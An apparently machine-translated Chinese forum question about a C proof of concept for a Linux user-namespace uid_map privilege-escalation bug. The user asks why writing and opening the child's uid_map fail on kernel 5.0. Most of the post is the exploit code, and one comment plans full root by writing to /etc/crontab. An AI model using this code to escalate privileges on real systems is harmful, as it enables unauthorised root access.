我作为普通的非root用户在Archlinux(内核版本5.0.0)上使用此代码。
#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>
int main(void)
{
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe))
err(1, "pipe");
// create a child process
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
// in child process
close(sync_pipe[1]);
// this creates a new ns
if (unshare(CLONE_NEWUSER))
err(1, "unshare userns");
if (write(sync_pipe[0], "X", 1) != 1)
err(1, "write to sock");
if (read(sync_pipe[0], &dummy, 1) != 1)
err(1, "read from sock");
// start a bash process (replace process image)
// this time you are actually root, without the name/id, though
// technically the root access is not complete,
// to get complete root, write to /etc/crontab and wait for a root shell to pop up
execl("/bin/bash", "bash", NULL);
err(1, "exec");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1)
err(1, "read from sock");
char pbuf[100]; // path of uid_map
sprintf(pbuf, "/proc/%d", (int)child);
// cd to /proc/pid/uid_map
if (chdir(pbuf))
err(1, "chdir");
// our new id mapping with 6 extents (> 5 extents)
const char* id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
// write the new mapping to uid_map and gid_map
int uid_map = open("uid_map", O_WRONLY);
if (uid_map == -1)
err(1, "open uid map");
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping))
err(1, "write uid map");
close(uid_map);
int gid_map = open("gid_map", O_WRONLY);
if (gid_map == -1)
err(1, "open gid map");
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping))
err(1, "write gid map");
close(gid_map);
if (write(sync_pipe[1], "X", 1) != 1)
err(1, "write to sock");
int status;
if (wait(&status) != child)
err(1, "wait");
return 0;
}
我只是用gcc -o j j.c
进行编译,然后运行./j
,我得到了
j: write uid map: Operation not permitted
j: read from sock: Success
好的,这是可以理解的,我没有手册页http://man7.org/linux/man-pages/man7/user_namespaces.7.html中提到的CAP_SETUID,
为了使进程写入/ proc / [pid] / uid_map (/ proc / [pid] / gid_map)文件,必须满足以下所有要求 见过:
1. The writing process must have the CAP_SETUID (CAP_SETGID) capabil‐ ity in the user namespace of the process pid. 2. The writing process must either be in the user namespace of the process pid or be in the parent user namespace of the process pid. 3. The mapped user IDs (group IDs) must in turn have a mapping in the parent user namespace. 4. One of the following two cases applies: * Either the writing process has the CAP_SETUID (CAP_SETGID) capability in the parent user namespace. + No further restrictions apply: the process can make mappings to arbitrary user IDs (group IDs) in the parent user names‐ pace. * Or otherwise all of the following restrictions apply: + The data written to uid_map (gid_map) must consist of a sin‐ gle line that maps the writing process's effective user ID (group ID) in the parent user namespace to a user ID (group ID) in the user namespace. + The writing process must have the same effective user ID as the process that created the user namespace. + In the case of gid_map, use of the setgroups(2) system call must first be denied by writing "deny" to the /proc/[pid]/setgroups file (see below) before writing to gid_map. Writes that violate the above rules fail with the error EPERM.
然后我使用sudo setcap cap_setuid+eip j;./j
,我得到了
j: open uid map: Permission denied
j: read from sock: Success
问题:为什么我什至不能再打开子进程的uid_map
文件?